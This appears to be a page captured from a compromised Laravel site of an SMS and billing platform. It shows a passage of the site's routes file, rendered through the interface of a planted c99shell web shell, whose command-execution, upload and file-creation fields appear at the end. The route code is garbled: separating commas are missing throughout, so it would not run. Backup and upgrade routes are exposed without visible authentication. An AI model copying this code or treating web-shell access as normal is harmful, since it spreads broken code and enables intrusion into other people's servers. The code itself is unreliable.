Route::get('/top-up/request''TopUpController@request')->name('topup.request');
                
Route::get('/getall/top-up/request''TopUpController@getAllRequest')->name('get.all.topup.request');
                
Route::post('/top-up/request/status''TopUpController@requestStatus')->name('topup.request.status');

                
// Front-end template settings
                
Route::get('/template''TemplateController@index')->name('template');
                
Route::post('/template/store''TemplateController@store')->name('template.store');

                
//Reseller  Front-end
                
Route::post('/domain/store''DomainController@store')->name('domain.store');
                
Route::get('/domain/delete''DomainController@delete')->name('domain.delete');


                
//          Customer  Reports
                
Route::get('/customer/transactions''CustomerReportController@transactions')->name('user.transactions');
                
Route::get('/customer/get/all/transactions''CustomerReportController@getAllTransactions')->name('user.get.all.transactions');
                
Route::get('/customer/message/reports''CustomerReportController@message_report')->name('user.message.reports');
                
Route::get('/customer/get/all/messages/report''CustomerReportController@getAllReports')->name('user.get.all.messages.report');



            });

//Became A Seller
            
Route::get('/became/seller''BecameSellerController@create')->name('became.seller');
            
Route::post('/became/seller''BecameSellerController@store')->name('became.seller.store');

        });

        
Route::group(['as' => 'billing.''prefix' => 'billing'], function () {
            
Route::get('/''BillingController@index')->name('index');
            
Route::get('/change/plan''BillingController@changePLan')->name('change.plan');
            
Route::get('/reseller/plan''BillingController@resellerPlan')->name('reseller.plan');
            
Route::get('/phone-numbers''BillingController@phone_numbers')->name('phone_numbers');
            
Route::get('/get-numbers''BillingController@get_numbers')->name('get.numbers');
            
Route::post('/update''BillingController@update')->name('update');
        });

        
Route::post('/cancel/billing', [\App\Http\Controllers\Customer\BillingController::class, 'cancelRequest'])->name('cancel.billing.request');
        
//Dynamic Template
        
Route::get('get/all/dynamic/template','DynamicTemplateController@getAll')->name('get.all.dynamic.template');
        
Route::get('export/dynamic/template','DynamicTemplateController@export')->name('export.dynamic.template');
        
Route::resource('/dynamic-template''DynamicTemplateController');


        
//Dynamic Template
        
Route::get('/dynamic/campaign','DynamicCampaignController@index')->name('dynamic.campaign');
        
Route::get('get/all/dynamic/campaign','DynamicCampaignController@getAll')->name('get.all.dynamic.campaign');
        
Route::get('/dynamic/campaign/create','DynamicCampaignController@create')->name('dynamic.campaign.create');
        
Route::post('/import/template','DynamicCampaignController@import_template')->name('import.template');
        
Route::post('/dynamic/campaign/store''DynamicCampaignController@store')->name('dynamic.campaign.store');

        
// DLT Campaign
        
Route::group(['middleware' => ['auth''checkdlt_access']], function () {
        
Route::get('/dlt/campaign','DLTCampaignController@index')->name('dlt.campaign');
        
Route::get('/dlt/campaign/create','DLTCampaignController@create')->name('dlt.campaign.create');
        
Route::post('/dlt/campaign/store''DLTCampaignController@store')->name('dlt.campaign.store');
        
Route::get('get/all/dlt/campaign','DLTCampaignController@getAll')->name('get.all.dlt.campaign');
        
Route::delete('/dlt/campaign/delete/{campaign}','DLTCampaignController@destroy')->name('dlt.campaign.delete');
        
Route::post('/dlt/campaigns/status''DLTCampaignController@status')->name('dlt.campaign.status');
        });
        
//Customer Coverage
        
Route::get('/get/all/coverage''CoverageController@getAll')->name('get.all.coverage');
        
Route::resource('/coverage''CoverageController');

        
//Responders
        
Route::resource('/responders''ResponderController');
        
Route::get('/get/all/sms/templates''ResponderController@getTemplates')->name('get.all.sms.templates');
        
Route::post('/save/sms/template''ResponderController@saveTemplates')->name('save.sms.template');
        
Route::group(['as' => 'responders.''prefix' => 'responder'], function () {
            
Route::get('/get''ResponderController@getAll')->name('get.all');
            
Route::post('/detail/create''ResponderController@create_responder_details')->name('detail.create');
            
Route::post('/detail/store''ResponderController@detail_store')->name('detail.store');
            
Route::get('/detail/delete''ResponderController@delete_detail')->name('detail.delete');

        });
        
Route::get('get/responder/detail''ResponderController@redponder_detail')->name('get.responder.detail');

    });
});

//#endregion

Route::get('/process/email', ['uses' => 'ScheduleController@processEmail''as' => 'email.process']);

//Db Backup
Route::get('/db/backup', ['uses' => 'ScheduleController@processDbBackup''as' => 'db.backup']);

Route::get('/process/upgrade', ['uses' => 'UpgradeController@process''as' => 'process.upgrade']);

//Route::redirect('/', route('login'));
Route::redirect('/admin'route('admin.login'));


//Route::get('{url}',['uses' => 'RouteController@index']);

Route::post('/verify/user','FrontController@verifyCode')->name('verify');

Route::get('locale/{type}', [\App\Http\Controllers\Admin\DashboardController::class, 'setLocale'])->name('set.locale');

Route::get('/{page}','FrontController@page')->name('page');

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0102 ]--